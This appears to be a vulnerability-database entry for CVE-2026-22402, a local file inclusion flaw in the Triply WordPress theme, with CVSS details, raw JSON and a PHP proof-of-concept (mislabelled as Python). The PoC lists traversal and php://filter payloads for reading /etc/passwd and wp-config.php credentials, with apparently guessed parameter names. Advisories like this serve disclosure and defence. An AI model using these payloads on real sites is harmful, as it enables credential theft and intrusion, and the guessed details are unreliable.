Security Vulnerability Report
中文
CVE-2026-22402 CVSS 7.5 HIGH

CVE-2026-22402

Published: 2026-01-22 17:16:33
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Triply triply allows PHP Local File Inclusion.This issue affects Triply: from n/a through <= 2.4.7.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

pavothemes Triply <= 2.4.7
Triply主题 所有 <= 2.4.7 版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-22402 - WordPress Triply Theme Local File Inclusion PoC * Target: pavothemes Triply WordPress Theme <= 2.4.7 * Type: Local File Inclusion / Remote File Inclusion */ $target = "http://target-site.com"; $wp_path = "/wp-content/themes/triply"; // PoC 1: Read /etc/passwd via Local File Inclusion $poc1 = [ 'param' => 'file', 'value' => '../../../../etc/passwd', 'description' => 'Local File Inclusion - Read system files' ]; // PoC 2: Read wp-config.php via directory traversal $poc2 = [ 'param' => 'template', 'value' => '../../../../wp-config.php', 'description' => 'LFI - Read WordPress configuration with credentials' ]; // PoC 3: Base64 encode read via PHP wrapper $poc3 = [ 'param' => 'page', 'value' => 'php://filter/convert.base64-encode/resource=wp-config.php', 'description' => 'LFI - Base64 encoded file read' ]; echo "[*] CVE-2026-22402 PoC - Triply Theme LFI\n"; echo "[*] Target: $target\n\n"; // Example request construction $url = $target . $wp_path . "/?" . $poc1['param'] . "=" . urlencode($poc1['value']); echo "[+] LFI Payload: " . $poc1['value'] . "\n"; echo "[+] Full URL: $url\n"; echo "[+] Expected: Contents of /etc/passwd file\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22402", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:33.433", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Triply triply allows PHP Local File Inclusion.This issue affects Triply: from n/a through <= 2.4.7."}, {"lang": "es", "value": "Vulnerabilidad de Control Inadecuado del Nombre de Fichero para la Declaración Include/Require en Programa PHP ('Inclusión Remota de Ficheros PHP') en pavothemes Triply triply permite Inclusión Local de Ficheros PHP. Este problema afecta a Triply: desde n/a hasta &lt;= 2.4.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/triply/vulnerability/wordpress-triply-theme-2-4-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}